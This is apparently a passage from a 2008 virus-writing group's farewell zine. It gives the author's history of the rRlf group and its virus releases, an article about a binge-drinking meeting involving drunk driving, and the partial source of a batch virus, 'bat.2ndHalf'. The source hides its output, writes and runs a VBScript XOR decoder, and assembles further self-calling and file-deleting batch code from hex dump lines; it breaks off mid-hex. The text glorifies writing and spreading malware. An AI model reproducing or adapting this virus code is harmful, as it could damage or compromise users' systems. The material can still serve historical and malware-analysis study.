The only interview I regret was with GQ. A stupid sexist lifestyle magazine for rich men. They interviewed spth (I think him also) and me per phone and cut
what we said together how they wanted it. Fuck you GQ.
The moment when I thought "now it's getting too far", was when I got a mail from someone from Freundin, a stupid German women magazine. They wanted, well, an
interview. I replied "I don't think viruses fit between cooking-recipes and hairstyle-tips". Hell.
A thing comes to my mind from the time of all this magazine and newspaper stuff: I got a mail by a woman from the usa, telling me, that when she saw that
photo of me in somewhere, she at first thought, she was in there, because we look so much the same. She mailed me a photo of her. I just thought "wtf, get
some glasses bitch." Strange.
Now enough with that media stuff. We were also part of serious releases ;) Somewhen middle of 2004 a book came out, called "Black hat: Misfits, criminals,
and scammers in the internet age". It contained also an interview with spth and some stuff by him.
In april 2004 Zed left the rRlf again, but this time didn't come back.
End of april 2004 DvL released Batch Zone #5, which contains BatXP.Nihilist by spth, the first epo batch virus.
In may 2004 DiA, a very nice and chilled German guy living not very far from me, joined the rRlf.
The following months there was no update on rRlf.de. Simply because I started working and had next to my other hobbies and my girlfriend no more time for
being rRlf webmaster and zine editor. So I handed the page over to spth and the zine to DiA. This happened in october 2004. Meanwhile DvL had left the rRlf
to work on dca, where he was one of the founders. And in august 2004, I got this letter from our host:
The German says: Your account has been canceled because of illegal content.
And rRlf.de was going so good... .(
Btw: rRlf.de was sold again, and first you were getting redirected to sexsearch.cc. Now there's some stupid av ad-page. And a note, that rRlf.de is
"possibly" for sale ;)
Our new page was located at rRlf.host.sk. Lots of vx sites were at host.sk to that time, but it was a shitty host, pages were always up and down for no
reason. And it was damn fucking slow.
Finally in november 2004 rRlf#5 - Controlled Disorder was released. Highlights in there are: HTML.JS.JackRabbit by DiA, the first non overwriting url
infector; Menuet.Oxymoron by spth, the first prepender for MenuetOS; Menuet/COM.Tristesse by spth, a menuet/com cross-infector; RUBY.Paradoxon by spth, a ruby
prepender, and of course the articles by spth and me about our little rRlf meeting in summer 2004: The weekend of rRlf meeting & Children of the KORN 80.
They fit nice in here, but I won't repeat all of it, so go read them now ;) They are also in this zine. One comment to my article: At the end there's a
picture of someone holding a bottle of holy korn 80. Some people asked spth and DiA who that was. Both said: "We don't know, it's not spth, not DiA, and it's
also not philie." So people said: "Wtf, you got a picture of someone in your zine, and you don't know who it is!?" To solve this: It's me, I just got a different
haircut again, so spth and DiA did not recognize me.
To the release of rRlf#5 Energy has been kicked out of the group, because we lost contact. And Kefi left due to lack of time.
The last days of 2004 dca#1 has been released, in it also something, I'm very proud of, cause it's one of the best things I ever coded (in the first days
of 2004 ;) : Batch Body Changing Engine, a pure old school ms-dos batch polymorphic engine that comes up to 3.628.800 different versions. It was the last piece
of code I released somewhere (except this zine, where it's also part of).
In february 2005 host.sk also kicked our page and we made up our new home at vx.helith.net. And we made up www.rrlf.de.vu, as a shortcut to whereever our
page might land, so that we don't have to announce new urls all the time. Btw: As vx.helith.net was established people on irc, including myself, were thinking
those guys (especially one, forgot his name, something that reminds me of van helsing ... maybe exactly that) were from the police to fuck up the scene. But
that was bullshit of course.
In march 2005 cyneox, from vx.helith.net ( ;) and ex-member of dca, joined the rRlf. I think he's from Berlin, but I never really had much contact to this
guy.
End of may 2005 we were switching hosts again. This time to VX Heavens, where our page is still today. Thank you a lot herm1t! I hope our page can still
stay at yours, even if we're inactive now.
End of june 2005 adious and dg0 have decided to leave the rRlf. adious after nearly three years. I sadly lost contact to him maybe a year ago. But
dg0 is still a good friend of mine. And he still likes to wear his old rRlf hooded from time to time ;) He, eeo and me made them in the early days:
The same day those two left psychologic officially got rRlf member.
On our fifth birthday, 21.7.2005, we released rRlf#6. My favorites in this zine are Epoc.Orter v1.0a by Retro, the first virus for epoc systems, and
SPTH-OS 2.0 by spth, the first bootsectorvirus for cd-roms. And of course again the articles about rRlf meeting 2005 ;) Austrian mustard don't do it - rrlf
meeting 2005 by DiA, DIA - Day In Austria (x2) by rastafarie, rRlf's bloody weekend by spth and Children of the KORN 80 II - The final Sacrifice by me. The
meeting was in january 2001 and the articles about it again fit perfect in here. And are also part of this zine. So go read them ;)
Again one comment: The David Hasselhoff song mentioned in the articles is also as mp3 in this zine, check it out.
One more thing about rRlf#6: If you didn't already find it, look for the only hidden file in html directory of the zine.
Also on our fifth birthday eeo left the rRlf, so the only one remaining of the three founders was me. I see him from time to time. Not really often, don't
know why, he lives just about 70 km away. I kinda feel like we've lived ourselves apart a bit (...does that expression exist in English?).
In october 2005 Retro released Idoneus, the first virus for Windows Vista. Windows Vista was released by Microsoft in november 2006 ;]
In january 2006 Hutley joined the rRlf.
Exactly one year later, on our sixth birthday (21.07.2006), we released rRlf#7. Our best and biggest zine, and also our final regular one. It contains
nearly only highlights, and so fucking lot of it! Amazing zine! At that moment we did not think, that there will be no rRlf#8. Well, maybe I did for myself.
I had lots of stuff to do over the last year. The job I was learning, work, girlfriend(s), friends and other hobbies began to interest me more than rRlf stuff.
I already stopped writing code two years ago. Even if I got lots of unfinished projects lying around, I got too much out of training. If I looked at some
unfinished stuff, I only could understand half of the code I wrote some years ago. It would have cost me (and still does) too much time to get in it again.
Time I sadly don't have. Writing viruses is a fulltime job. I don't know about you. For me it is/was (that's why I wrote most of my stuff to a time I was proud
unemployed ;). But I already got a (nearly) fulltime job. One that does not bring me fame but money. There's no way to decide between those two, cause there's
not a real, senseful option. I don't know now, if I'm writing about my thoughts from 2006 or 2008. I guess there just might be not much difference.
I really liked "the good ones" by me in rRlf#7 (click on it ;), but doing just that appendix-like art-thing felt like not enough. It more felt like not
being needed anymore. The thing got out of my hands anyway, I was not really important for the fate of rRlf anymore. I thought a lot about it and I was short
before leaving rRlf after the release of rRlf#7. Keeping me from that was firstly the thought/fact, that this would all not have started without me, and I
wanted to see how it ends, if it may. And secondly, kinda stupid, but it was the tattoo on my back that made me think "this one lasts a life long, and you
wanna quit it after six years?!" No, not that easy. So I stayed to watch, how the whole thing would develop.
Short before the release of rRlf#7, my (still) close friend disk0rdia (did I also write this, when she joined ...?) quit the rRlf. And also psychologic
left, because he had lots of trouble with police and legal stuff. Because of viruses.
In october 2006 mANiAC89 joined the rRlf. He's a guy from the old days (or better: my time), I knew him from somewhere ... I forgot. I thaught "wow, this
will be cool", and it really was at the beginning. But somehow I very soon lost contact to him (and I think all other members did too). He seemed to just answer
mails once per decade (ah well, I am the right guy to complain about something like this ;). And he's the only member, that stayed till the end, but never
released anything for rRlf. That's why there's nothing by him in this best of, cause there simply is nothing by him :(
On christmas 2006 came the first sign for rRlf downfall: spth left the group. My thoughts of also leaving from half a year ago came up again. But as spth
was webmaster, we needed a new one, so I at least took that job over again, to give my role some more meaning. That brought me also some new motivation. I
have always been some kind of group moderator (not leader, I don't like leaders), which became also less the last one and a half years. I tried to bring that
back again, to revive the kinda fallen asleep group again, to give us some strenght. But the little success I got did always not last very long. Like nothing
happened, nobody was coding anything, everyone had other things to do, and it took ages for the most people to answer mails. If they did at all.
In february 2007 Hutley also left the group. I was trying to get new members. Not that people did not want to become rRlf member. The amount of
application-mails worth as much as spam was still quite high, but there was also still serious stuff by people from the vx scenen between all that trash. But
being able to code viruses is not enough for being rRlf member. You also need to be that kind of crazy fucked up party guy, that finds drinking 80% alcohol with
aspirin funny and maybe also tries himself. But I did not get someone like this from the applications I got. Maybe the vx scene changed. From the people, who
I know, and who count themselves to the virus scene today, are just a handfull of people with something like that old rRlf spirit. The rest are boring nerds
from the type "the sun doesn't like me". Fuck em. Maybe I'm wrong, maybe my attitude of expectation was just to high. Maybe I should have been confident with
less. But for what? To surrender the rRlf over to nerds. No way. That's what I'm thinking, and that's what I experienced over and over again the whole year of
2007. I believe my thaught about the changing virus scene is not from that far away. See the German article "Viren, Würmer & Trojaner" by Tobias Moorstedt from
march 2007. It explains how the internet changes and how malware changes with it. More and more from viruses to worms to trojans. You all know what I mean. The
article kinda tells the future for the rRlf. I'm translating:
"At earlier times virus coding was a hobby for freaks, who organized in groups like the Ready Rangers Liberation Front, and contested each other about
writing the perfect virus. It was about showing control over the system, and making names known in the net. Like graffiti-sprayers, who make the walls of a
city theirs with their tags: It's my space! Those times are over. Jwegenij Kapersky, a virus hunter guru, thinks: 1997 virus coding was a hobby, a kind of art.
Today it's an industry."
So if virus writing in general (not just the vx community) changes, logically also the virus writers change (in general). Maybe the changes take some longer
time in the vx community, but I think they are already visible. This goes out to you dear member of that tiny community: If you care for vx history, tradition
and culture, the goals and motivations, that virus coders from the time before you had, then try to keep that alive. It's important. "The virus scene dies" is wrong.
It's a slow, creepy disease that turns the scene into a zombie. Think about it.
We got now middle of 2007, short before our seventh birthday, the day we used to release our zine the past years. But not 2007. Simply because we had nearly
no stuff together. I still was motivated and had the hope that this was just a phase, that will pass. Like we from now and then also earlier had downtimes, and
they did pass. If I would have looked closer, I would have seen, that those downtimes always lasted for 3-5 months, not for a year :/
In june 2007 MYSTiQUE joined the rRlf. I think he doesn't fit right my description of a rRlf member from above, but he's a nice guy nevertheless ;)
Beginning of july 2007 DoomRiderz #1 was released. It also contains Win32.USBug by DiA, the last thing the rRlf released somewhere (well, except for this
zine here).
So 21.7.2007 came, without a zine, just a note on the page: "Cheers to the rRlf! Today is our 7th birthday. At the moment we are chilling. To get ready to
tear their world upside down with inovative viruses for another seven years." Well...
In august 2007 we kicked cyneox because of inactivity. Sorry dude. Maybe you just have been a statuated example, cause we could have kicked any/every rRlf
member to that time for that reason. But also the scare tactics didn't help anyway.
Beginning of december 2007 I realized, that EOF and doomriderz had the same problem as rRlf: No or not enogh stuff for the zine. So we thaught "lets solve
this problem by making a big zine together". Also with the hope that this could unite the vx scene and give some strength. But somehow also this quite big
motivation to get it on again did not last very long in the group. About one month ago from now at the moment, that is june 2008, I wrote to the page: "Short
before the release of the planned joint zine with EOF and doomriderz the rRlf has to disconnect itself from the project because of various reasons." Various = 2.
The first reason is: We had like nearly no good stuff to contribute to that zine. We had some stuff, but the only good ones were a few by Retro, the rest was
terrible. The second reason I'll explain now:
End of december 2007 I went to Berlin together with a friend of mine. We wanted to visit 24C3. And we did ;) I wanted to go there, cause I've never been there,
and SkyOuts talk about the virus scene seemed like a nice chance to give it a try. First evening was amazing. We wanted to go to bed early to not miss anything
on the congress. But before going to bed we had lust for some nice whiskey. As we were to lazy after the long train trip to search for a whiskey bar, we ended up
in the bar of our youth hostel. They got no nice whiskey there, but a offer called "Heineken - Pay 5 get 6". And while we were at the fourth round of Pay 5 get 6,
going to bed early was not an option anymore. We had some fun time with people from all around the world in the youth hostel instead. I remember the next morning
my friend woke me up after like two hours of sleep, I was still drunk and had a terrible headache. My friend said: "We have to get up, she's throwing us out!"
In the back I saw an Asian woman in a cleaner-dress, who held the end of her vacuum cleaner like a weapon and was yelling something in a language I did not
understand. So we got up and spent the first half of the day in a gigantic shopping center for elecronic stuff :/
The congress itself was cool somehow. I was wearing my rRlf hooded, hoping that someone would ask me about it. The first one was BeLiAL, who I met six years
ago. He said "someone from your group was visiting me some time ago". We did not recognize each other at first, but then had some nice talk. Later the second one
asked me, where I got that hooded from. I asked who he was, and he revealed himself as SkyOut. That was some hours before his talk. We talked a bit about
various stuff and I thought to myself "Hm. A Nerd. But wtf were you expecting. Lets see what his talk brings." So later on I sat there in the hall, that was
only half full, very looking forward to the talk, but with some strange side-feeling. Than SkyOut came and began his talk and the longer it lasted the shittier
it got. The words I wrote in the rRlf news to that time were nice formulated. The talk sucked. Watch the recording, if you didn't already, and you can't really
tell something different. SkyOut was there to represent the virus scene. And I felt ashamed of being part of that scene. When I left the hall, SkyOuts talk was in,
I knew, my time with the virus scene was over. That was the last straw that broke the camels back.
Coming home from Berlin I felt terrible, but also released in a way. I talked to some virus writers of my kind, and all had the same opinion. When talking to
DiA about that, we came to the conclusion, that it would be best for us and the rRlf to put an end to it. He said "We are the rockstars of the virus scene, and
rockstars don't die of senility. So there is no sense in letting us rot any longer, we have to put an end to rRlf." At first we wanted to pull the EOF and
doomriderz zine through and then quit, but cut that some time later, as we were not getting up with new stuff. So the idea came: What are you doing if your new
record sucks and does not sell? A best of! Here we are ;) And what date would be better to release such a best of zine as our always nearer coming eighth
birthday? To that day we planned the surprise end of the rRlf and the surprise release of our best of zine. And that's how it was. I think the end of the rRlf
was not really a surprise, you could have counted with it, if you were able to read the signs. But I hope this best of zine made the surprising effect, and I also
hope you like it. I do.
That was our/my story. I had much nice experiences in my time with the rRlf and the virus scene and I got to know lots of cool people. I don't know if I will
miss the vx community, but I will for sure never forget it.
Big thanks wo all who made this wonderful time of my life possible.
Take care.
philet0ast3r
articles
Children of the KORN 80 philet0ast3r Children of the KORN 80 ************************ by philet0ast3r One fine day, DvL told me, that he wanted to make up a vx meeting in romania this summer. Second Part To Hell and I wanted to go there, but as we are from Austria and Germany, and Second Part To Hell had just one weekend time, it was much too short/expensive to go there. So Second Part To Hell just came visiting me. He arrived on Friday afternoon, I picked him up at the train station of my town (I was late, as always), and we went to my appartment. On our way we met some friends of mine, disk0rdia, a few fat cops and bought tickets for a small festival nearby. At my (small) appartment we spent some time looking at and talking about magazines, codes, pictures and played some games (btw: the game Second Part To Hell is talking about in his article is GTA: Vice City). Time flew by quick, it was getting evening, and as none of my friends wanted to go to the festival, it was only Second Part To Hell and me. That means: I had to drive. The festival was only one day and night, very small and except Emil Bulls (a German new metal band) only local bands. We came and Mindjuice (best local band) played their last songs :( The next few bands were not that good, so we started to drink beer and just talked. I had not much money with me, but Second Part To Hell said "that's ok" and everytime he went getting himself a new beer, he brought one for me. Some time later I realized "cool, I'm drunken ... damn! I still have to drive!" (problem: sharp police controls around here). Anyways, it was already too late, so we just continued drinking. Then Emil Bulls played and we nearly killed ourselves in the moshpit, dancing/beating, stage-diving and crowd-surfing. One time Second Part To Hell fell down really bad on his head. But he kinda seemed to be too drunken at this moment to really realize the pain. However, it was a cool concert. Afterwards we drove home. Without me causing an accident and without police bastards stopping us. It was about 02.00 when we arrived at my appartment. We decided to open the damn thing Second Part To Hell brought with him. A one liter bottle of AnsatzKORN. 80% alcohol, that means 0,8 liter pure alcohol. You normally don't drink this, but use it for baking. Anyways we did. I drank the first two glasses pure and it tasted like heaven ... your lips are burning before you have it in your mouth. On the way to the stomach it makes your throat feel like you were drinking burning oil. After the first shock you feel like just having eaten three rotten eggs. Great stuff. As we were tired because of the festival, we just drank 2-3 glasses each and went to bed. The first thing we did when getting up on Saturday was drinking KORN. Hell. We spent some time in front of my computer and around 14.00 got us some cheap pizza, and hit the road. Direction: DiA. DiA's city was about 2 hours away, and we spent another hour driving through the city in search for the station. We asked several persons, but no one could tell us where to go. One thought he could, but was drunken as hell. He said something like: "You have to go down there, right, left, right, over the bridge, around the corner and back." Ok, whatever. Finally someone at a gas-station told us that there are 3 stations here, and told us the way to the main station. Finally we made it and met up with DiA. At first it was kind of strange, because nobody really knew what to say. But after drinking a few beers this problem was also solved. We drove to some bar, white trash style, and got us more beer. After a few hours of talking DiA had to leave, so Second Part To Hell and I bought us something to eat and drove back. Even if we spent about 4-5 hours in my car and maybe 3 with DiA, it was absolutly worth the trip. Anytime again. On our way back, we made a visit to a catholic youth camp. Don't worry, it has nearly nothing to do with religion. There were about 100 ppl in this camp, age from 15-25. Lots of my friends were there, one of them was dr.g0nZo. So we drank one more beer with him. A friend of mine, who didn't know who Second Part To Hell was, recognized him because of the New York Times Magazine article. Well, our beer was empty and we drove back to my appartment. There we began to drink KORN. I drank the first pure, but I couldn't take it, and mixed the following ones with orange juice. But Second Part To Hell drank it all pure. Shit, his facial expression looked everytime worse. We made something on the computer. Don't know really. Either we played or annoyed the ppl at habbohotel.de (try out if you are from Germany, it's funny). Some time later my girlfriend arrived. At that time I/we were already totally drunken. But it didn't take her long to catch up. We spent the night drinking KORN, talking, drinking KORN, listening to music and drinking KORN. Later I found myself hanging over the toilet, puking. Then I had to shit and after that puke again. Wow. While puking the second time, I had the idea of writing this article :) As I came out of my bathroom, I remember Second Part To Hell and my girlfriend telling me, that I had missed two rounds and had to drink them now. I did, and this was the end. I fell from my chair, crawled to the bed and fell asleep. I don't remember when I crashed, but I remember waking up for the first time, it was around 06.00. I got up and walked to my computer to shut it down, because there was still a mp3 playing. Something by Jimmy eat World (my girlfriend told me later, that they were too drunk, to be able to select another song, so this one was played in a loop). On the table I saw a little, empty plastic bag: "Damn, they smoked my last weed!" As my head was feeling like a rocket would start from it, I decided to go to bed again. Next time I woke up was about 08.00. I couldn't sleep no more, so I decided to wake up the others. First thing we did: Drink KORN. The worst start for the day. I remember Second Part To Hell phoning his girlfriend. He talked a while (nonsense), and in the middle of the sentence the conversation was over: He ran out of money. I thought: "What must this girl think?" Anyways, we decided (I was over-voted) to go to bed again. The evening before we thought: Second Part To Hell's train leaves at 11.26, we need about 20 minutes from my appartment to the station; Second Part To Hell said he needs 2 minutes in the morning; Ok, so we have to get up at 11.00. We got up at 11.00 and Second Part To Hell used his 2 minutes to drink KORN. Our timeplan worked out quite well. We wouldn't have made it to the train nevertheless, because Second Part To Hell was still so drunk, he could not walk straight. Thanks godess, my girlfriend was able to drive (I was not) and drove us to the station. As we had some minutes left, we went into the station magazine shop to search for an issue of PC Magazine, in which an article with BlueOwl should be. We didn't find it, but instead a short one page article by Michael Ausserbauer: Ungeziefer. It was a hate-letter to virus writers, the author telling all the cruel stuff, he would do to virus writers, if he could get his hands on them. Unfortunatelly there was no contact. Here we go: Michael Ausserbauer: You reached someone. Come on over, let's meet. Let's see who leaves this meeting in a wheelchair. Hehe, anyways we had lots of fun, as I read this article to Second Part To Hell. Two virus writers, standing in a magazine shop, one more drunken than the other. Ok, Second Part To Hell's train came, he left this wonderful (full of nazi scum) Bavarian city, and we left the train station. I wondered if he would come home as one part (or as second part ;) as he was still totally drunken. My girlfriend told me, that the night before, he was so drunken, it happened a few times, that he was standing the one moment, and the other laying on the ground. Ok, let's do some maths: 1 l, 80% alcohol = 0,8 l pure alcohol. The first evening we just drank a few glasses let's say remaining pure alcohol 0,6 l. When I came home, I found the bottle: Nearly empty. That means we drank it all the second evening: 0,6 l / 3 persons = about 0,2 l pure alcohol per person. That's a lot. Especially if keeping in mind that my girlfriend and I are drunk after 3 or 4 beers each. Anyways the meeting was lots of fun, and I'm looking forward to the next meeting. Heh, next time we will drink 80% Stroh Rum. philet0ast3r
sources
bat.2ndHalf philet0ast3r @echo off :: bat.2ndHalf :: by philet0ast3r [rRlf] :: contains the 2ndHalf of my best payload: :: the first ever two virii talking to each other :: bat.wtf contains a encrypted part, that get's stored on the hd :: bat.2ndHalf decrypts this part, and brings the rest for the viral conversation to work :: finished: never ctty nul if not exist c:\ww goto tr cd %winbootdir% echo.on error resume next>c echo set fso = createobject("scripting.filesystemobject")>>c echo set proc4 = fso.opentextfile("c:\ww", 1)>>c echo msg = proc4.readall>>c echo ddd = x(msg)>>c echo set proc2 = fso.createtextfile("c:\ww", true)>>c echo proc2.writeline ddd>>c echo proc2.close>>c echo Function x(sText)>>c echo.On Error Resume Next>>c echo Dim ekey, i, hash, crbyte>>c echo ekey = 135>>c echo For i = 1 To Len(sText)>>c echo hash = Asc(Mid(sText, i, 1))>>c echo crbyte = Chr(hash Xor (ekey Mod 255))>>c echo x = x & crbyte>>c echo Next>>c echo End Function>>c ren c c.vbs start /w c.vbs move c:\ww %winbootdir%\ww.bat echo e 0100 65 63 68 6F 20 40 65 63 68 6F 20 6F 66 66 3E 61>s echo e 0110 0D 0A 65 63 68 6F 20 63 61 6C 6C 20 72 2E 62 61>>s echo e 0120 74 3E 3E 61 0D 0A 65 63 68 6F 20 69 66 20 65 78>>s echo e 0130 69 73 74 20 31 2E 72 72 20 65 63 68 6F 20 62 61>>s echo e 0140 74 2E 32 6E 64 48 61 6C 66 3A 20 49 27 6D 20 66>>s echo e 0150 69 6E 65 2E 20 57 68 61 74 20 61 62 6F 75 74 20>>s echo e 0160 79 6F 75 3F 3E 3E 61 0D 0A 65 63 68 6F 20 69 66>>s echo e 0170 20 65 78 69 73 74 20 32 2E 72 72 20 65 63 68 6F>>s echo e 0180 20 62 61 74 2E 32 6E 64 48 61 6C 66 3A 20 57 65>>s echo e 0190 6C 6C 2C 20 69 74 27 73 20 61 20 62 69 74 20 62>>s echo e 01A0 6F 72 69 6E 67 20 68 65 72 65 20 2E 2E 2E 20 57>>s echo e 01B0 68 61 74 20 61 62 6F 75 74 20 79 6F 75 3F 3E 3E>>s echo e 01C0 61 0D 0A 65 63 68 6F 20 69 66 20 65 78 69 73 74>>s echo e 01D0 20 33 2E 72 72 20 65 63 68 6F 20 62 61 74 2E 32>>s echo e 01E0 6E 64 48 61 6C 66 3A 20 49 27 6D 20 6F 6B 2E 20>>s echo e 01F0 48 6F 77 20 61 72 65 20 79 6F 75 3F 3E 3E 61 0D>>s echo e 0200 0A 65 63 68 6F 20 64 65 6C 20 2A 2E 72 72 3E 3E>>s echo e 0210 61 0D 0A 65 63 68 6F 20 63 68 6F 69 63 65 20 2F>>s echo e 0220 63 3A 2E 20 2F 6E 20 2F 74 3A 2E 2C 30 32 3E 3E>>s echo e 0230 61 0D 0A 65 63 68 6F 20 63 61 6C 6C 20 62 2E 62>>s echo e 0240 61 74 3E 3E 61 0D 0A 72 65 6E 20 61 20 61 2E 62>>s echo e 0250 61 74 0D 0A 65 63 68 6F 20 40 65 63 68 6F 20 6F>>s echo e 0260 66 66 3E 63 0D 0A 65 63 68 6F 20 63 61 6C 6C 20>>s echo e 0270 72 2E 62 61 74 3E 3E 63 0D 0A 65 63 68 6F 20 69>>s echo e 0280 66 20 65 78 69 73 74 20 31 2E 72 72 20 65 63 68>>s echo e 0290 6F 20 62 61 74 2E 32 6E 64 48 61 6C 66 3A 20 44>>s echo e 02A0 69 64 20 79 6F 75 20 65 6E 63 6F 75 6E 74 65 72>>s echo e 02B0 20 61 6E 79 20 61 76 3F 3E 3E 63 0D 0A 65 63 68>>s echo e 02C0 6F 20 69 66 20 65 78 69 73 74 20 32 2E 72 72 20>>s echo e 02D0 65 63 68 6F 20 62 61 74 2E 32 6E 64 48 61 6C 66>>s echo e 02E0 3A 20 44 69 64 20 79 6F 75 20 68 61 76 65 20 61>>s echo e 02F0 6E 79 20 70 72 6F 62 6C 65 6D 73 20 77 69 74 68>>s echo e 0300 20 74 68 6F 73 65 20 61 76 20 73 75 78 30 72 73>>s echo e 0310 3F 3E 3E 63 0D 0A 65 63 68 6F 20 69 66 20 65 78>>s echo e 0320 69 73 74 20 33 2E 72 72 20 65 63 68 6F 20 62 61>>s echo e 0330 74 2E 32 6E 64 48 61 6C 66 3A 20 44 69 64 20 79>>s echo e 0340 6F 75 20 73 65 65 20 61 6E 79 20 61 76 20 72 65>>s echo e 0350 63 65 6E 74 6C 79 3F 3E 3E 63 0D 0A 65 63 68 6F>>s echo e 0360 20 64 65 6C 20 2A 2E 72 72 3E 3E 63 0D 0A 65 63>>s echo e 0370 68 6F 20 63 68 6F 69 63 65 20 2F 63 3A 2E 20 2F>>s echo e 0380 6E 20 2F 74 3A 2E 2C 30 32 3E 3E 63 0D 0A 65 63>>s echo e 0390 68 6F 20 63 61 6C 6C 20 64 2E 62 61 74 3E 3E 63>>s echo e 03A0 0D 0A 72 65 6E 20 63 20 63 2E 62 61 74 0D 0A 65>>s echo e 03B0 63 68 6F 20 40 65 63 68 6F 20 6F 66 66 3E 65 0D>>s echo e 03C0 0A 65 63 68 6F 20 63 61 6C 6C 20 72 2E 62 61 74>>s echo e 03D0 3E 3E 65 0D 0A 65 63 68 6F 20 69 66 20 65 78 69>>s echo e 03E0 73 74 20 31 2E 72 72 20 65 63 68 6F 20 62 61 74>>s echo e 03F0 2E 32 6E 64 48 61 6C 66 3A 20 48 65 68 65 2C 20>>s echo e 0400 73 61 6D 65 20 68 65 72 65 2E 3E 3E 65 0D 0A 65>>s echo e 0410 63 68 6F 20 69 66 20 65 78 69 73 74 20 32 2E 72>>s echo e 0420 72 20 65 63 68 6F 20 62 61 74 2E 32 6E 64 48 61>>s echo e 0430 6C 66 3A 20 4E 6F 2C 20 64 69 64 6E 27 74 20 73>>s echo e 0440 65 65 20 61 6E 79 2C 20 74 6F 6F 2E 3E 3E 65 0D>>s echo e 0450 0A 65 63 68 6F 20 69 66 20 65 78 69 73 74 20 33>>s echo e 0460 2E 72 72 20 65 63 68 6F 20 62 61 74 2E 32 6E 64>>s echo e 0470 48 61 6C 66 3A 20 49 20 6D 65 74 20 6F 6E 65 20>>s echo e 0480 6C 61 73 74 20 74 69 6D 65 20 2E 2E 2E 20 50 68>>s echo e 0490 75 63 6B 69 6E 20 61 73 73 68 6F 6C 65 20 6E 65>>s echo e 04A0 61 72 6C 79 20 6B 69 6C 6C 65 64 20 6D 65 2E 3E>>s echo e 04B0 3E 65 0D 0A 65 63 68 6F 20 64 65 6C 20 2A 2E 72>>s echo e 04C0 72 3E 3E 65 0D 0A 65 63 68 6F 20 63 68 6F 69 63>>s echo e 04D0 65 20 2F 63 3A 2E 20 2F 6E 20 2F 74 3A 2E 2C 30>>s echo e 04E0 32 3E 3E 65 0D 0A 65 63 68 6F 20 63 61 6C 6C 20>>s echo e 04F0 66 2E 62 61 74 3E 3E 65 0D 0A 72 65 6E 20 65 20>>s echo e 0500 65 2E 62 61 74 0D 0A 65 63 68 6F 20 40 65 63 68>>s echo e 0510 6F 20 6F 66 66 3E 67 0D 0A 65 63 68 6F 20 63 61>>s echo e 0520 6C 6C 20 72 2E 62 61 74 3E 3E 67 0D 0A 65 63 68>>s echo e 0530 6F 20 69 66 20 65 78 69 73 74 20 31 2E 72 72 20>>s echo e 0540 65 63 68 6F 20 62 61 74 2E 32 6E 64 48 61 6C 66>>s echo e 0550 3A 20 48 65 68 65 68 65 2C 20 67 6F 6F 64 20 69>>s echo e 0560 64 65 61 21 3E 3E 67 0D 0A 65 63 68 6F 20 69 66>>s echo e 0570 20 65 78 69 73 74 20 32 2E 72 72 20 65 63 68 6F>>s echo e 0580 20 62 61 74 2E 32 6E 64 48 61 6C 66 3A 20 4D 65>>s echo e 0590 20 74 6F 6F 20 3A 5D 3E 3E 67 0D 0A 65 63 68 6F>>s echo e 05A0 20 69 66 20 65 78 69 73 74 20 33 2E 72 72 20 65>>s echo e 05B0 63 68 6F 20 62 61 74 2E 32 6E 64 48 61 6C 66 3A>>s echo e 05C0 20 49 20 74 68 69 6E 6B 20 49 27 6C 6C 20 74 61>>s echo e 05D0 6B 65 20 61 20 6E 61 70 2E 3E 3E 67 0D 0A 65 63>>s echo e 05E0 68 6F 20 64 65 6C 20 2A 2E 72 72 3E 3E 67 0D 0A>>s echo e 05F0 65 63 68 6F 20 63 68 6F 69 63 65 20 2F 63 3A 2E>>s echo e 0600 20 2F 6E 20 2F 74 3A 2E 2C 30 32 3E 3E 67 0D 0A>>s echo e 0610 65 63 68 6F 20 63 61 6C 6C 20 68 2E 62 61 74 3E>>s echo e 0620 3E 67 0D 0A 72 65 6E 20 67 20 67 2E 62 61 74 0D>>s echo e 0630 0A 65 63 68 6F 20 40 65 63 68 6F 20 6F 66 66 3E>>s echo e 0640 69 0D 0A 65 63 68 6F 20 63 61 6C 6C 20 72 2E 62>>s echo e 0650 61 74 3E 3E 69 0D 0A 65 63 68 6F 20 69 66 20 65>>s echo e 0660 78 69 73 74 20 31 2E 72 72 20 65 63 68 6F 20 62>>s echo e 0670 61 74 2E 32 6E 64 48 61 6C 66 3A 20 42 79 65 2E>>s echo e 0680 3E 3E 69 0D 0A 65 63 68 6F 20 69 66 20 65 78 69>>s echo e 0690 73 74 20 32 2E 72 72 20 65 63 68 6F 20 62 61 74>>s echo e 06A0 2E 32 6E 64 48 61 6C 66 3A 20 43 20 55 3E 3E 69>>s echo e 06B0 0D 0A 65 63 68 6F 20 69 66 20 65 78 69 73 74 20>>s echo e 06C0 33 2E 72 72 20 65 63 68 6F 20 62 61 74 2E 32 6E>>s echo e 06D0 64 48 61 6C 66 3A 20 48 61 77 61 64 65 72 65 20>>s echo e 06E0 3A 29 3E 3E 69 0D 0A 65 63 68 6F 20 63 74 74 79>>s echo e 06F0 20 6E 75 6C 3E 3E 69 0D 0A 65 63 68 6F 20 64 65>>s echo e 0700 6C 20 2A 2E 72 72 3E 3E 69 0D 0A 65 63 68 6F 20>>s echo e 0710 64 65 6C 20 30 2E 62 61 74 3E 3E 69 0D 0A 65 63>>s echo e 0720 68 6F 20 64 65 6C 20 61 2E 62 61 74 3E 3E 69 0D>>s echo e 0730 0A 65 63 68 6F 20 64 65 6C 20 62 2E 62 61 74 3E>>s echo e 0740 3E 69 0D 0A 65 63 68 6F 20 64 65 6C 20 63 2E 62>>s echo e 0750 61 74 3E 3E 69 0D 0A 65 63 68 6F 20 64 65 6C 20>>s echo e 0760 64 2E 62 61 74 3E 3E 69 0D 0A 65 63 68 6F 20 64>>s echo e 0770 65 6C 20 65 2E 62 61 74 3E 3E 69 0D 0A 65 63 68>>s echo e 0780 6F 20 64 65 6C 20 66 2E 62 61 74 3E 3E 69 0D 0A>>s echo e 0790 65 63 68 6F 20 64 65 6C 20 67 2E 62 61 74 3E 3E>>s echo e 07A0 69 0D 0A 65 63 68 6F 20 64 65 6C 20 68 2E 62 61>>s echo e 07B0 74 3E 3E 69 0D 0A 65 63 68 6F 20 64 65 6C 20 72>>s echo e 07C0 2E 62 61 74 3E 3E 69 0D 0A 65 63 68 6F 20 64 65>>s echo e 07D0 6C 20 63 2E 76 62 73 3E 3E 69 0D 0A 65 63 68 6F>>s echo e 07E0 20 64 65 6C 20 73 74 61 72 74 2E 62 61 74 3E 3E>>s echo e 07F0 69 0D 0A 65 63 68 6F 20 64 65 6C 20 77 77 2E 62>>s echo e 0800 61 74 3E 3E 69 0D 0A 65 63 68 6F 20 64 65 6C 20>>s echo e 0810 69 2E 62 61 74 3E 3E 69 0D 0A 72 65 6E 20 69 20>>s echo e 0820 69 2E 62 61 74 0D 0A 63 